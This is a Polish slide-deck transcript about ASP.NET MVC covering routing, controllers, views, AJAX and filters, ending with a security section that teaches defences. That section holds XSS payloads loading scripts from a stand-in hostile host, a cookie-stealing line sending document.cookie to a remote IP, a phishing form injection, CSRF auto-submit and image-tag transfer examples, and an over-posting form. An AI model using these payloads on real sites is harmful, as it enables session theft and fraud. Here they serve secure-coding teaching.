asp.net mvc - najważniejsze założenia

99
ASP.NET MVC główne założenia Bartłomiej Zass Microsoft

Upload: bartlomiej-zass

Post on 15-May-2015

2.368 views

Category:

Technology


8 download

DESCRIPTION

Przegląd najważniejszych założeń technologii ASP.NET MVC. Omówienie mechanizmów routingu, kontrolerów, widoków, bezpieczeństwa, walidacji danych, AJAX oraz rozszerzalności platformy. Prezentacja obejmuje fundamentalne założenia ASP.NET MVC 1, pozostające w większości nadal aktualne a także wybrane nowe mechanizmy ASP.NET MVC 2 i ASP.NET MVC 3.

TRANSCRIPT

Page 1: ASP.NET MVC - najważniejsze założenia

ASP.NET MVC główne założenia

Bartłomiej ZassMicrosoft

Page 2: ASP.NET MVC - najważniejsze założenia

MVC w Internecie

• Ruby on Rails (LAMP)– Convention over Configuration– Don’t Repeat Yourself (Keep it DRY)– Routing: map.connect ‘:controller/:action/:id’

• DJANGO (Python)– Regex – mapowanie metoda-URL– (r’^(?P<object_id>\d+)/products/category/$’,

‘store.products.view’),• Spring, Struts, JSF(JAVA)• ZEND Framework (ZF) – PHP• MonoRail / Castle Project – ASP.NET• ASP.NET MVC!

Page 3: ASP.NET MVC - najważniejsze założenia

Założenia ASP.NET MVC• „Convention over configuration”• „DRY” (don’t repeat yourself)• Maksymalna elastyczność, rozszerzalność• Serwowanie metod – nie plików• Zejdź mi z drogi!• Dlaczego nie WebForms?!

– RAD – podobnie jak aplikacje okienkowe– Często chcemy wiedzieć co się dzieje pod spodem i mieć więcej

kontroli– Cykl życia strony i kontrolek (własny)– Całkowicie własny model zdarzeń (TextChanged, Click, itp. oraz

zdarzenia strony)– Własne zarządzanie stanem – ViewState– Warstwa abstrakcji – czasem niezastąpiona, czasem uciążliwa

Page 4: ASP.NET MVC - najważniejsze założenia

Problemy z WebForms

• ViewState• Trudna kontrola nad renderowanym kodem• Client Ids– ctl00$ContentPlaceHolder1$UserControl1$TextBox1– Problemy z JavaScript

• Testy jednostkowe– Symulacja cyklu życia strony poza IIS– Konieczne wykorzystanie zaawansowanych

narzędzi takich jak TypeMock

Page 5: ASP.NET MVC - najważniejsze założenia

DemoASP.NET MVC w akcji

Page 6: ASP.NET MVC - najważniejsze założenia

ROUTING

Page 7: ASP.NET MVC - najważniejsze założenia

Routing

• RESTowy format URLi– Usability (łatwiej zapamiętać, zmienić)– SEO*

• NIE odzwierciedla fizycznej lokalizacji!• Cele routingu w ASP.NET MVC– Mapowanie do akcji kontrolera– Konstruowanie URLi

• Glo bal.asaxvar routes = new RouteCollection();GlobalApplication.RegisterRoutes(routes);

Page 8: ASP.NET MVC - najważniejsze założenia

// Zasada działania

routes.MapRoute(“simple”, “{first}/{second}/{third}“);

// ---

/products/display/123{first} = products{second} = display{third} = 123

/foo/bar/baz{first} = foo{second} = bar{third} = baz

/a.b/c-d/e-f{first} = “a.b”{second} = “c-d”{third} = “e-f”

Page 9: ASP.NET MVC - najważniejsze założenia

// Coś bardziej pożytecznego

routes.MapRoute(“simple”, “{controller}/{action}/{id}“);// /products/display/123

public class ProductsController : Controller{

public ActionResult Display(int id){

//Do somethingreturn View();

}}

Page 10: ASP.NET MVC - najważniejsze założenia

// Przykłady formatów

site/{controller}/{action}/{id}

// /products/display/123 - // /site/products/display/123 -

// Można:{language}-{country}/{controller}/{action}{controller}.{action}.{id}service/{action}-{format} (/service/display-xml){reporttype}/{year}/{month}/{date} (/sales/2008/1/23)

// Nie można:{controller}{action}/{id}

Page 11: ASP.NET MVC - najważniejsze założenia

// Mniej oczywiste przykłady

Book{title}and{foo}

{filename}.{ext}

Algorytm zachłanny:/asp.net.mvc.xml – filename=asp.net.mvc (nie

asp)

My{location}-{sublocation}/MyHouse-LivingRoom (location=„House”,

sublocation=„LivingRoom”)

{foo}xyz{bar}/xyzxyzxyzblah

(foo=„xyzxyz” – zachłannie; bar=„blah”)

Page 12: ASP.NET MVC - najważniejsze założenia

// Wartości domyślne

public class ProductsController : Controller{ public ActionResult List() { } }// ----

{controller}/{action}

/products/list – OK/products/list/1 – nie zadziała, konieczny drugi route {controller}/{action}/{id}

Zamiast nowej trasy – wartość domyślna (RouteValueDictionary)

routes.MapRoute(“simple”, “{controller}/{action}/{id}“, new {id = “”});

// ----routes.MapRoute(“simple”,

“{controller-action}“, new {action=”index”});

// /products- ?? NIE – w segmencie (pomiędzy „/”) muszą być wszystkie parametry// W tym przypadku action=index istotne tylko przy generowaniu adresów URL

Page 13: ASP.NET MVC - najważniejsze założenia

// Constraints – dodatkowe ograniczenia (regex)

routes.MapRoute(“blog”, “{year}/{month}/{day}“, new {controller=”blog”, action=”index”}, new {year=@“\d{4}“, month=@“\d{2}“, day=@“\d{2}“});

//------------------------------------// Constraints nie muszą być stringiem// Własne constraints

public interface IRouteConstraint{

bool Match(…);}

// „Z pudełka” – implementuje HttpMethodConstraint

routes.MapRoute(“name”, “{controller}“, null, new {httpMethod = new HttpMethodConstraint(“GET”)} );

Page 14: ASP.NET MVC - najważniejsze założenia

// Parametr catch-all

routes.MapRoute(“catchallroute”, “query/{query-name}/{*extrastuff}“);

/* /query/select/a/b/c – extrastuff = „a/b/c” /query/select/a/b/c/ - extrastuff = „a/b/c” /query/select/ - extrastuff = „” (OK)*/

Page 15: ASP.NET MVC - najważniejsze założenia

// Ignorowanie trasy

routes.Add(new Route(

“{resource}.axd/{*pathInfo}“,new StopRoutingHandler()

));

// /Webresource.axd// Przekazuje request do standardowego handlera ASP.NET// Domyślnie przy route.MapRoute – MVCRouteHandler// możliwe przekazanie własnej implementacji IRouteHandler

// Prościej:

routes.IgnoreRoute(“{resource}.axd/{*pathInfo}“);

Page 16: ASP.NET MVC - najważniejsze założenia

Reverse - routing• RouteCollection (kolekcja RouteBase)

– Dla każdej trasy pytanie – czy możesz wygenerować URL przy pomocy tych parametrów?

• Route.GetVirtualPath– Jeśli tak – VirtualPathData z adresem URL– Jeśli nie – null

• Uwaga: wartości domyślne, które nie są parametrem muszą się zgadzać– Todo/{action}; defaults: controller=home;action=index– Podajemy: Controller=„blah”, action=„cokolwiek” – NIE– Controller=„home”; action=„any” – TAK

• Trasy nazwane – parametr do GetVirtualPath• GetVirtualPath wykorzystuje parametry z Defaults

– Np. piszemy uniwersalną kontrolkę do nawigacji (dalej…)

Page 17: ASP.NET MVC - najważniejsze założenia

// Ponieważ jest action na liście defaults – match

public static void RegisterRoutes(RouteCollection routes){

routes.MapRoute(null, “todo/{action}/{page}“,new {controller=”todo”, action=”list”, page=0 });

}

public string NextPageUrl(int currentPage, RouteCollection routes){

int nextPage = currentPage + 1;VirtualPathData vp = routes.GetVirtualPath(null,new RouteValueDictionary(new {page = nextPage}));if(vp != null){

return vp.VirtualPath;}

return null;}

Page 18: ASP.NET MVC - najważniejsze założenia

// „Overflow parameters”// Dodatkowe parametry do generacji URL (np. query // string, itp.).

routes.Add(new Route("forum/{user}/{action}", new MvcRouteHandler())

{ Defaults = new RouteValueDictionary{ {"controller", "forum"}, {"user", "admin"}} });

VirtualPathData vp2 = routes.GetVirtualPath(null, new RouteValueDictionary(new

{ action = "Index" , controller = "forum", param= "Bartek" }));

// controller – nie ma w URL, musi się zgadzać z default // (=forum)// param – jako querystring

Page 19: ASP.NET MVC - najważniejsze założenia

Routing pipeline

1. URLRoutingModule próbuje znaleźć pasującą trasę w statycznej RouteTable.Routes - GetRouteData() na RouteBase – null lub kolekcja

2. Znaleziono trasę (pierwszy wygrywa) -> pobieramy IRouteHandler

- Dla MVC: MvcRouteHandler

3. IRouteHandler.GetHandler -> IHttpHandler- Dla MVC: MvcHandler

4. IHttpHandler.ProcessRequest

MvcHandler odpowiedzialny za wybór kontrolera

Page 20: ASP.NET MVC - najważniejsze założenia

Web Forms + MVC

Uwaga na uwierzytelnienie!

ŹLE

<?xml version=”1.0”?><configuration><system.web>

<authorization><deny users=”*“ />

</authorization>

</system.web>

</configuration>

DOBRZE

UrlAuthorizationModule.CheckUrlAccessForPrincipal(this.VirtualPath,

requestContext.HttpContext.User, requestContext.HttpContext.Request.HttpMethod)

Page 21: ASP.NET MVC - najważniejsze założenia

DemoRouting i ASP.NET Web Forms

Page 22: ASP.NET MVC - najważniejsze założenia

KONTROLERY

Page 23: ASP.NET MVC - najważniejsze założenia

Routing i co dalej?

• MVCHandler.ProcessRequest– Wypełnia RequestContext.RouteData

• ControllerFactory -> IController– IController.Execute()

public interface IController{

void Execute(RequestContext requestContext);}

• Domyślny ControllerFactory – szuka klasy w odpowiednim katalogu, dodaje „Controller” do parametru z RouteData

Page 24: ASP.NET MVC - najważniejsze założenia

Najprostszy kontroler

public class SimpleController : IController{

public void Execute(RequestContext requestContext){

var response = requestContext.HttpContext.Response;response.Write(“<h1>Hello World!</h1>”);

}

}

// Podobieństwo do IHTTPHandler// Główna różnica – RequestContext zamiast HttpContext// (dodatkowe informacje związane z requestem MVC)

// Klasa abstrakcyjna ControllerBase – wyższy poziom// Właściwości TempData, ViewData, itp.

Page 25: ASP.NET MVC - najważniejsze założenia

ABC kontrolera

• Controller (dziedziczy po ControllerBase)– Po niej z reguły powinna dziedziczyć klasa kontrolera

w ASP.NET MVC• Domyślnie wszystkie publiczne metody

bezpośrednio dostępne z URL– tzw. „Akcje” kontrolera– Security!– Dziedzicząc po Controller wyrażamy na to zgodę

• /simple2/hello -> Simple2Controller.Hello• Parametry – querystring lub URL– Musi zgadzać się z nazwą zmiennej metody

Page 26: ASP.NET MVC - najważniejsze założenia

Akcja kontrolera - przykład

public void Distance(int x1, int y1, int x2, int y2){

double xSquared = Math.Pow(x2 - x1, 2);double ySquared = Math.Pow(y2 - y1, 2);Response.Write(Math.Sqrt(xSquared + ySquared));

}

/simple2/distance?x2=1&y2=2&x1=0&y1=0

routes.MapRoute(“distance”,“simple2/distance/{x1},{y1}/{x2},{y2}“,new { Controller = “Simple2”, action = “Distance” });

/simple2/distance/0,0/1,2

Page 27: ASP.NET MVC - najważniejsze założenia

ActionResult

• Response.Write– Kto ma na to czas? – Tracimy funkcjonalność ASP.NET – np. Master

Pages• Kontroler zwraca ActionResult– Wzorzec „Command” (późniejsze wywołanie

kodu - np. Undo)

public abstract class ActionResult{

public abstract void ExecuteResult(ControllerContext context);}

Page 28: ASP.NET MVC - najważniejsze założenia

ActionResult – c.d.

• Wiele typów odpowiedzi (dziedziczą po ActionResult)– Np. ViewResult

• ActionInvoker w późniejszej fazie wywołuje Execute na zwróconym obiekcie

• Metody pomocnicze (XYZResult wyjątkiem RedirectToAction)

Page 29: ASP.NET MVC - najważniejsze założenia

public ActionResult ListProducts(){

//Pseudo codeIList<Product> products = SomeRepository.GetProducts();ViewData.Model = products;return new ViewResult {ViewData = this.ViewData };

}

// Krócej:

public ActionResult ListProducts(){

//Pseudo codeIList<Product> products = SomeRepository.GetProducts();return View(products);

}

Page 30: ASP.NET MVC - najważniejsze założenia

Typy domyślnych ActionResultActionResult Opis

EmptyResult Nic nie robi

ContentResult Odpowiedź jako tekst

JsonResult Serializuje obiekt do JSON

RedirectResult Przekierowuje do URL

RedirectToRouteResult Przekierowuje na podstawie Routingu

ViewResult Uruchamia renderowanie widoku przez ViewEngine

PartialViewResult Część widoku (np. kontrolka) – AJAX

FileResult Różne odmiany – zwraca plik

JavaScriptResult Wysyła i wywołuje natychmiast JavaScript po stronie klienta

Page 31: ASP.NET MVC - najważniejsze założenia

ActionResults c.d.

• ContentResult– Wykorzystywane, kiedy metoda zwraca inny typ

niż ActionResult (void i null – EmptyResult) – wygodne TESTY!

• FileResult (abstract), return File()– FilePathResult– FileContentResult– FileStreamResult

• JsonResult, return Json()– Uwaga na drzewo obiektu

Page 32: ASP.NET MVC - najważniejsze założenia

JavascriptResult

public ActionResult DoSomething() {script s = “$(‘#some-div’).html(‘Updated!’);”;return JavaScript(s);}

<%= Ajax.ActionLink(“click”, “DoSomething”, new AjaxOptions()) %><div id=”some-div”></div>

Page 33: ASP.NET MVC - najważniejsze założenia

ViewResult

• Wywołuje IViewEngine.FindView()– Zwraca IView– IView.Render()– Domyślnie - przeszukiwane konkretne katalogi

• ASPX, ASCX

Page 34: ASP.NET MVC - najważniejsze założenia

Action Invoker

• Routing – wypełnił tylko RouteData– Tak naprawdę nie wywołuje metody kontrolera

• ControllerActionInvoker - faktycznie wywołuje akcję kontrolera– Dostępny w IController.ActionInvoker– Lokalizuje metodę (Reflection ze stringa)– Mapuje parametry– Wywołuje metodę i jej filtry– Wywołuje ExecuteResult na zwróconym

ActionResult

Page 35: ASP.NET MVC - najważniejsze założenia

Wywoływanie metod

• Dostępna każda metoda, która:– Nie jest oznaczona [NonAction]– Nie jest konstruktorem, właściwością, zdarzeniem– Nie jest orginalnie zdefiniowana w Object (np.

ToString()) lub Controller (np. Dispose() i View())• Dodatkowe atrybuty– [ActionName(„View”)]– ActionSelectorAttribute

Page 36: ASP.NET MVC - najważniejsze założenia

ActionSelectorAttribute

public abstract class ActionSelectorAttribute : Attribute

{public abstract bool IsValidForRequest(ControllerContext controllerContext, MethodInfo methodInfo);

}

// Invoker zawsze zadaje to pytanie// Jeśli false – metoda nie będzie wywołana

/*

– [AcceptVerbs(HttpVerbs.Post)] – [NonAction]

*/

Page 37: ASP.NET MVC - najważniejsze założenia

Mapowanie parametrów

• Źródła parametrów akcji– Request.Form– Route Data– Request.Querystring

• UpdateModel()– <%= Html.TextBox(“ProductName”) %>– ViewData[„product”];

• Walidacja– IDataErrorInfo lub atrybuty (MVC 2)– ModelState.AddError

Page 38: ASP.NET MVC - najważniejsze założenia

Walidacja z model binderami

public class Product : IDataErrorInfo{ … }

// Podsumowanie wszystkich błędówpublic string Error {

get { … }}

// Błąd dla konkretnej właściwościpublic string this[string columnName] {

Get { … }}

Page 39: ASP.NET MVC - najważniejsze założenia

WIDOKI

Page 40: ASP.NET MVC - najważniejsze założenia

Domyślne widoki

<%@ Page Language=”C#“ MasterPageFile=”~/Views/Shared/Site.Master”Inherits=”System.Web.Mvc.ViewPage” %>

<asp:Content ID=”indexTitle” ContentPlaceHolderID=”TitleContent” runat=”server”>Home Page</asp:Content><asp:Content ID=”indexContent” ContentPlaceHolderID=”MainContent” runat=”server”>

<h2><%= Html.Encode(ViewData[“Message”]) %></h2>

<p>To learn more about ASP.NET MVC visit <a href=”http://asp.net/mvc”title=”ASP.NET MVC Website”>http://asp.net/mvc</a>.</p></asp:Content>

Page 41: ASP.NET MVC - najważniejsze założenia

Widoki• Dziedziczy po ViewPage / ViewPage<T>

– …która dziedziczy po System.Web.UI.Page• Nie ma <form runat=„server”>

– Teoretycznie może być – możemy umieszczać kontrolki!– Wysoce niezalecane – kontrolki serwerowe zawierają „kawałki”

kontrolera– MVC nie obsługuje ViewState, IsPostBack, itp.

• To nie jest stare ASP– ASP miało M, V i C w jednym pliku

• Zwracanie widoków– return View() – zgodnie z nazwą akcji– return View(„SpecificView”)– return View(„~/Some/Other/View.aspx”);

Page 42: ASP.NET MVC - najważniejsze założenia

// Słabo typowane widoki

public ActionResult List(){

var products = new List<Product>();for(int i = 0; i < 10; i++){

products.Add(new Product {ProductName = “Product “ + i});}ViewData[“Products”] = products;return View();

}

<ul><% foreach(Product p in (ViewData[“Products”] as IEnumerable<Product>)) {%>

<li><%= Html.Encode(p.ProductName) %></li><% } %>

</ul>

Page 43: ASP.NET MVC - najważniejsze założenia

// Silnie typowane widoki

public ActionResult List(){

var products = new List<Product>();for(int i = 0; i < 10; i++){products.Add(new Product {ProductName = “Product “ + i});}return View(products);

} <%@ Page Language=”C#“ MasterPageFile=”~/Views/Shared/Site.Master”Inherits=”System.Web.Mvc.ViewPage<IEnumerable<Product>>” %>…<ul>

<% foreach(Product p in Model) {%><li><%= Html.Encode(p.ProductName) %></li>

<% } %></ul>

Page 44: ASP.NET MVC - najważniejsze założenia

HTML Helpers

<% %> vs <%= %> i zapomniany średnik

<%= Html.ActionLink(“Link Text”, “Withdraw”, “Account”) %><%= Html.ActionLink(“Link Text”, “Withdraw”, “Account”,

new {id=34231}, null) %><%= Html.RouteLink(“Link Text”, new {action=”ActionX”}) %>-> <a href=”/Home/About”>LinkText</a>

<% using(Html.BeginForm(„action”, „controller”)) { %><% } %>

Lub

<% Html.BeginForm(); %> (…)<% Html.EndForm(); %>

Page 45: ASP.NET MVC - najważniejsze założenia

HTML Helpers – c.d.

<%= Html.Encode(string) %>

<%= Html.Hidden(“wizardStep”, “1”) %>

<%= Html.DropDownList(„lista") %>

<%= Html.Password(“my-password”) %>

<%= Html.RadioButton(“color”, “red”) %><%= Html.RadioButton(“color”, “blue”, true) %><%= Html.RadioButton(“color”, “green”) %>

<% Html.RenderPartial(“MyUserControl”); %>

Page 46: ASP.NET MVC - najważniejsze założenia

HTML Helpers – c.d.

<%= Html.TextArea(“text”, “hello <br/> world”) %>

// Kontroler: ViewData[“Name”] = product.Name;<%= Html.TextBox(“Name”) %>

// Kontroler: ViewData[„Name”] = product;<%= Html.TextBox(“Product.Name”) %>

// Dodatkowe atrybuty<%= Html.TextBox(“Name”, null, new {@class=”klasa”}) %>

<%= Html.ValidationMessage(“Name”) %><span class=”field-validation-error”>Ouch</span><%= Html.ValidationMessage(“Name”, “Wlasny kom.!”) %>

Page 47: ASP.NET MVC - najważniejsze założenia

Walidacja

public ActionResult Index(){

var modelState = new ModelState();modelState.Errors.Add(“Ouch”);ModelState[“Name”] = modelState;

// lubModelState.AddModelError(„Age", „Ojj");return View();

}

// Opcjonalnie – dodatkowy komunikat podsumowujący<%= Html.ValidationSummary() %>

<ul class=”validation-summary-errors”> <!-- <span>An error occurred</span> -->

<li>Ouch</li><li>Ouch</li>

</ul>

Page 48: ASP.NET MVC - najważniejsze założenia

View Engine

• ViewResult iteruje po ViewEngines.Engines i pyta kto może wyrenderować widok– Pierwszy wygrywa

• Domyślnie - System.Web.Mvc.WebFormViewEngine• IViewEngine.FndView -> Iview• IView.Render

protected void Application_Start(){

ViewEngines.Engines.Clear(); ViewEngines.Engines.Add(new MyViewEngine()); RegisterRoutes(RouteTable.Routes);}

Page 49: ASP.NET MVC - najważniejsze założenia

Inaczej - NHAML

%h2= ViewData.CategoryName %ul - foreach (var product in ViewData.Products) %li = product.ProductName .editlink = Html.ActionLink("Edit", new { Action="Edit", ID=product.ProductID }) = Html.ActionLink("Add New Product", new { Action="New" })

Page 50: ASP.NET MVC - najważniejsze założenia

Inaczej - NVelocity#foreach($person in $people)#beforeall

<table><tr><th>Name</th><th>Age</th></tr>

#before<tr

#oddStyle=’color:gray’>

#evenStyle=’color:white’>

#each<td>$person.Name</td><td>$person.Age</td>

#after</tr>

#between<tr><td colspan=’2’>$person.bio</td></tr>

#afterall</table>

#nodataSorry No Person Found

#end

Page 51: ASP.NET MVC - najważniejsze założenia

Inaczej - Spark

<viewdata model=”IEnumerable[[Person]]“/>

<ul class=”people”><li each=”var person in ViewData.Model”>

${person.LastName}, ${person.FirstName}</li>

</ul>

Page 52: ASP.NET MVC - najważniejsze założenia

View Engine czy ActionResult

• Własny ActionResult– Np. MyCustomXMLActionResult– Prosty do zwrócenia– Idealny, kiedy nie potrzebujemy szablonu

• View Engine– Zawsze, kiedy potrzebujemy dodatkowego pliku,

który opisuje format zwracanej odpowiedzi– Np. XSLTViewEngine

Page 53: ASP.NET MVC - najważniejsze założenia

AJAX

Page 54: ASP.NET MVC - najważniejsze założenia

Microsoft AJAX

<%using (Ajax.BeginForm(“HelloAjax”,new AjaxOptions { UpdateTargetId = “results” })){ %>

<%= Html.TextBox(“query”, null, new {size=40}) %><input type=”submit” />

<%} %>

<div id=”results”></div>

// -----public string HelloAjax(string query){return “You entered: “ + query;}

Page 55: ASP.NET MVC - najważniejsze założenia

POST /home/HelloAjax HTTP/1.1Accept: */*Accept-Language: en-usReferer: http://localhost.:55926/homex-requested-with: XMLHttpRequestContent-Type: application/x-www-form-urlencoded; charset=utf-8...query=Hello%20Ajax!&X-Requested-With=XMLHttpRequest

// Rozpoznawanie, że mamy do czynienia z AJAX request

public ActionResult HelloAjax(string query){

//make sure this is an Asynch postif (Request.IsAjaxRequest()){

return Content(“You entered: “ + query);}else{

return RedirectToAction(“Index”, new { query = query });}

}

// Ten sam znacznik rozpoznawany przez jQuery

Page 56: ASP.NET MVC - najważniejsze założenia

Partial Views i AJAX

// Co jeśli chcemy zwrócić coś więcej niż string?// np. rezultat wyszukiwania w postaci HTML// Rozwiązanie – partial views

if(Request.IsAjaxRequest()){

// Partial Viewreturn View(“ProductSearchResults”, products);

}else{

return View(products);}

<div id=”results”> <%Html.RenderPartial(“ProductSearchResults”, ViewData.Model); %></div>

Page 57: ASP.NET MVC - najważniejsze założenia

To samo w jQuery// jQuery.form plugin

<form action=”<%=Url.Action(“ProductSearch”) %>” method=”post” id=”jform”><%= Html.TextBox(“query”, null, new {size=40}) %><input type=”submit” id=”jsubmit” value=”go” />

</form>

<div id=”results2”> <%Html.RenderPartial(“ProductSearchResults”, ViewData.Model); %></div>

<script src=”/Scripts/jquery-1.3.2.js” type=”text/javascript”></script><script src=”/Scripts/jquery-form.js” type=”text/javascript”></script><script type=”text/javascript”>

$(document).ready(function() { $(‘#jform’).submit(function() {

$(‘#jform’).ajaxSubmit({ target: ‘#results2’ });return false;});

});</script>

// Inne opcje: url, type, beforeSubmit, Success, dataType, resetForm, // clearForm

Page 58: ASP.NET MVC - najważniejsze założenia

Extendery - Autocomplete

<script type=”text/javascript”>Sys.Application.add_init(function() {$create(

AjaxControlToolkit.AutoCompleteBehavior, {serviceMethod: ‘ProductNameSearch’,servicePath: ‘/ProductService.asmx’,minimumPrefixLength: 1,completionSetCount: 10},null,null,$get(‘query’))

});

</script>

Page 59: ASP.NET MVC - najważniejsze założenia

Filtrowanie listy - jQuery

<script language=”javascript” type=”text/javascript”>

$(document).ready(function() {$(“#CategoryID”).change(function() {var selection = $(“#CategoryID”).val();$(“#results”).load(“/home/ProductByCategory/“ + selection);}})

});

</script>

Page 60: ASP.NET MVC - najważniejsze założenia

Filtry

Page 61: ASP.NET MVC - najważniejsze założenia

Filtry w ASP.NET MVC

• Dostępne „z pudełka”– Authorize– HandleError– OutputCache

[Authorize(Roles=”Admins, SuperAdmins”)]public class AdminController{

//Only admins should see this.public ActionResult Index(){return View();}//Only admins should see this.public ActionResult DeleteAllUsers(){// Jesteśmy bezpieczni}

}

Page 62: ASP.NET MVC - najważniejsze założenia

OutputCache

• Cache’uje wartość zwracaną przez akcję• Bazuje na ASP.NET @OutputCache– Właściwości: CacheProfile, Duration, Location,

NoStore, SqlDependency, VaryBy*– Brak VaryByControl

• Dlaczego nie w widoku?• [OutputCache(Duration=60, VaryByParam=”none”)]– A gdybyśmy chcieli bez rekompilacji?

• [OutputCache(CacheProfile=”MyProfile”)]

Page 63: ASP.NET MVC - najważniejsze założenia

HandleError[HandleError(ExceptionType = typeof(ArgumentException), View=”ArgError”)]public ActionResult GetProduct(string name){

if(name == null){

throw new ArgumentNullException(“name”);}return View();

}

// ŹLE[HandleError(Order=1, ExceptionType=typeof(Exception)][HandleError(Order=2, ExceptionType=typeof(ArgumentException), View=”ArgError”)]public ActionResult GetProduct(string name)

// LEPIEJ[HandleError(Order=1, ExceptionType=typeof(ArgumentException), View=”ArgError”)[HandleError(Order=2, ExceptionType=typeof(Exception)]public ActionResult GetProduct(string name)

Page 64: ASP.NET MVC - najważniejsze założenia

Własny filtr• Np. logowanie, mierzenie czasu, kontrola dostępu• Dziedziczymy po ActionFilterAttribute (lub FilterAttribute)

public virtual void OnActionExecuted(ActionExecutedContext filterContext);public virtual void OnActionExecuting(ActionExecutingContext filterContext);public virtual void OnResultExecuted(ResultExecutedContext filterContext);public virtual void OnResultExecuting(ResultExecutingContext filterContext);

• Implementujemy interfejs:– IActionFilter– IResultFilter– IAuthorizationFilter*– IExceptionFilter*

Page 65: ASP.NET MVC - najważniejsze założenia

public class TimerAttribute : ActionFilterAttribute{ public TimerAttribute() { // Powinniśmy być ostatnim filtrem – tuż przed akcją this.Order = int.MaxValue; } public override void OnActionExecuting(ActionExecutingContext filterContext) { var controller = filterContext.Controller; if (controller != null) { var stopwatch = new Stopwatch(); controller.ViewData[“__StopWatch”] = stopwatch; stopwatch.Start(); } }public override void OnActionExecuted(ActionExecutedContext filterContext){ var controller = filterContext.Controller; if (controller != null) { var stopwatch = (Stopwatch)controller.ViewData[“__StopWatch”]; stopwatch.Stop(); controller.ViewData[“__Duration”] = stopwatch.Elapsed.TotalMilliseconds; }}// [Timer]// Trwało: <%= ViewData[“__Duration”] %>

Page 66: ASP.NET MVC - najważniejsze założenia

Kolejność filtrów

1. Właściwość Order2. Najpierw dla klasy3. Jeśli brak Order – ujemna wartość4. Jeśli sam kontroler implementuje np.

IActionFilter – w pierwszej kolejności

Page 67: ASP.NET MVC - najważniejsze założenia

BEZPIECZEŃSTWO

Page 68: ASP.NET MVC - najważniejsze założenia

Kilka słów o bezpieczeństwie

• Więcej swobody – więcej zagrożeń– Domyślne helpery, WebFormViewEngine wiele

robią za nas• XSS - Passive injection

Komentarz na blogu (URL autora):<a href=”Brak strony :<”>Komentator</a>

“><iframe src=”http://zlastrona.com” height=”400” width=„500” />

“></a><script src=”http://trojan.zlastrona.com”></script> <a href=”

Page 69: ASP.NET MVC - najważniejsze założenia

XSS – Active Injection

// Do SearchBoxa

“<br><br>Please login with the form below before proceeding:<formaction=”mybadsite.aspx”><table><tr><td>Login:</td><td><input type=text length=20name=login></td></tr><tr><td>Password:</td><td><input type=text length=20name=password></td></tr></table><input type=submit value=LOGIN></form>”

// Działa? Hmm…

<a href=”http://testasp.acunetix.com/Search.asp?tfSearch= <br><br>Please loginwith theform below before proceeding:<formaction=”mybadsite.aspx”><table><tr><td>Login:</td><td><input type=text length=20name=login></td></tr><tr><td>Password:</td><td><input type=text length=20name=password></td></tr></table><input type=submit value=LOGIN></form>”>ZNAJDŹ SWOJE ZDJECIA NAGO</a>

Page 70: ASP.NET MVC - najważniejsze założenia

XSS - zabezpieczenia

• Nigdy nie ufaj danym od użytkownika• Enkoduj wyświetlane i zapisywane dane– Atrybuty– Cała zawartość

<a href=”<%=Url.Action(“index”,”home”,new{name=Html.AttributeEncode(ViewData[“name”])})%>>Click here</a>

<a href=”<%=Url.Encode(Url.Action(“index”,”home”,new {name=ViewData[“name”]}))%>>Clickhere</a>

Page 71: ASP.NET MVC - najważniejsze założenia

Cross-site Request Forgery// Dobra strona, użytkownik stale zalogowany („ZAPAMIĘTAJ MNIE”)

public class UserProfileController : Controller{ public ViewResult Edit() { return View(); } public ViewResult SubmitUpdate() { ProfileData profile = GetLoggedInUserProfile();

// Update the user object profile.EmailAddress = Request.Form["email"]; profile.FavoriteHobby = Request.Form["hobby"];

SaveUserProfile(profile); ViewData["message"] = "Your profile was updated."; return View(); }}

// Zapraszamy użytkownika e-mailem na naszą stronę<body onload="document.getElementById('fm1').submit()"> <form id="fm1" action="http://dobrastrona.pl/UserProfile/SubmitUpdate" method="post"> <input name="email" value=„[email protected]" /> <input name="hobby" value="Defacing websites" /> </form> </body>

// A teraz już tylko „forgoten password”

Page 72: ASP.NET MVC - najważniejsze założenia

CSRF inaczej

Komentarz pod newsami banku<img src =”http://widelyusedbank.com?function=transfer&amount=1000&toaccountnumber=23234554333&from=checking” />.

Page 73: ASP.NET MVC - najważniejsze założenia

CSRF – jak się uchronić

• Nie zmieniamy nic w GET• Specjalny zmienny token (input

type=„hidden”), który porównujemy po stronie serwera– [ValidateAntiForgeryToken]– <%= Html.AntiForgeryToken() %>

• Sprawdzać Referer– Niektórzy wyłączają– Ryzyko zmiany (niektóre wersje Flash)– Można zrealizować przy pomocy filtra

Page 74: ASP.NET MVC - najważniejsze założenia

Filtr - refererpublic class IsPostedFromThisSiteAttribute : AuthorizeAttribute{ public override void OnAuthorize(AuthorizationContext filterContext) { if (filterContext.HttpContext != null) { if (filterContext.HttpContext.Request.UrlReferrer == null) throw new System.Web.HttpException(“Invalid submission”); if (filterContext.HttpContext.Request.UrlReferrer.Host != “mysite.com”) throw new System.Web.HttpException (“This form wasn’t submitted from this site!”); } }}

[IsPostedFromThisSite]public ActionResult Register(…)

Page 75: ASP.NET MVC - najważniejsze założenia

Kradzież ciastek ()

• Często tickety uwierzytelniające– StackOverflow.com (beta)

• XSS<img src=”“http://www.a.com/a.jpg<script type=text/javascriptsrc=”http://1.2.3.4:81/xss.js”>” /><<imgsrc=”“http://www.a.com/a.jpg</script>”

• Xss.js – transfer ciastekwindow.location=”http://1.2.3.4:81/r.php?u=”+document.links[1].text+”&l=”+document.links[1]+”&c=”+document.cookie;

Page 76: ASP.NET MVC - najważniejsze założenia

Ciastka – jak je zabezpieczyć?

• Uchroń się przed XSS – przemyśl dobrze zanim napiszesz własną implementację anti-XSS– http://antixss.codeplex.com

• Cookies HTTPOnly

Response.Cookies[“MyCookie”].Value=”Remembering you…”;

Response.Cookies[“MyCookie].HttpOnly=true;

Page 77: ASP.NET MVC - najważniejsze założenia

Bezpieczeństwo - inne

• Komunikaty o błędach– <compilation debug=„true”>

• Zabezpieczanie kontrolerów, nie ścieżki– [Authorize]

• Zabezpieczanie publicznych metod– [NonAction]

• Uwaga na Model Binders (dalej…)

Page 78: ASP.NET MVC - najważniejsze założenia

Model Binders

// Ryzykowne zwłaszcza, kiedy ktoś zobaczy nasz // kod źródłowy (jakie właściwości ma User)

<form action=http://naszastrona.pl/profile/update method=”post”>

<input type=”text” name=”First” value=”Darth” /><input type=”text” name=”Last” value=”Vader” /><input type=”text” name=”Role” value=”PanIWladca“ />

</form>

// public ActionResult Update(User user)// Model binder automatycznie ustawi Role// Rozwiązanie: whitelist

[ValidateAntiforgeryToken]public ActionResult Update([Bind(Include=”First, Last”)]User user)

Page 79: ASP.NET MVC - najważniejsze założenia

TESTY JEDNOSTKOWE

